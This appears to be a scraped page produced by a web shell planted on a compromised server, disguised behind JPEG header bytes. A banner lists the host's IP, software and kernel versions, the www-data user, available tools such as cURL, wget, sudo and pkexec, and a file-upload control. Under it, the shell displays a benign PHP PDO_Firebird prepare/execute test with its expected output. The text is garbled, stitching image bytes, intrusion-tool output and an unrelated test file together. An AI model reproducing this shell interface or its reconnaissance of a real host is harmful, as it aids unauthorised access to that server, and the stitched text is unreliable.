????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.48 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/pdo_firebird/tests/ |
Upload File : |
--TEST--
PDO_Firebird: prepare/execute/binding
--SKIPIF--
<?php include("skipif.inc"); ?>
<?php function_exists("ibase_query") or die("skip"); ?>
--INI--
ibase.timestampformat=%Y-%m-%d %H:%M:%S
--FILE--
<?php /* $Id$ */
require("testdb.inc");
$db = new PDO("firebird:dbname=$test_base",$user,$password) or die;
var_dump($db->getAttribute(PDO::ATTR_CONNECTION_STATUS));
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
$db->exec("CREATE TABLE ddl (id SMALLINT NOT NULL PRIMARY KEY, text VARCHAR(32),
datetime TIMESTAMP DEFAULT '2000-02-12' NOT NULL)");
$db->exec("INSERT INTO ddl (id,text) VALUES (1,'bla')");
$s = $db->prepare("SELECT * FROM ddl WHERE id=? FOR UPDATE");
$id = 0;
$s->bindParam(1,$id);
$var = null;
$s->bindColumn("TEXT",$var);
$id = 1;
$s->execute();
$s->setAttribute(PDO::ATTR_CURSOR_NAME, "c");
var_dump($id);
var_dump($s->fetch());
var_dump($var);
var_dump($db->exec("UPDATE ddl SET id=2 WHERE CURRENT OF c"));
var_dump($s->fetch());
unset($s);
unset($db);
echo "done\n";
?>
--EXPECT--
bool(true)
int(1)
array(6) {
["ID"]=>
string(1) "1"
[0]=>
string(1) "1"
["TEXT"]=>
string(3) "bla"
[1]=>
string(3) "bla"
["DATETIME"]=>
string(19) "2000-02-12 00:00:00"
[2]=>
string(19) "2000-02-12 00:00:00"
}
string(3) "bla"
int(1)
bool(false)
done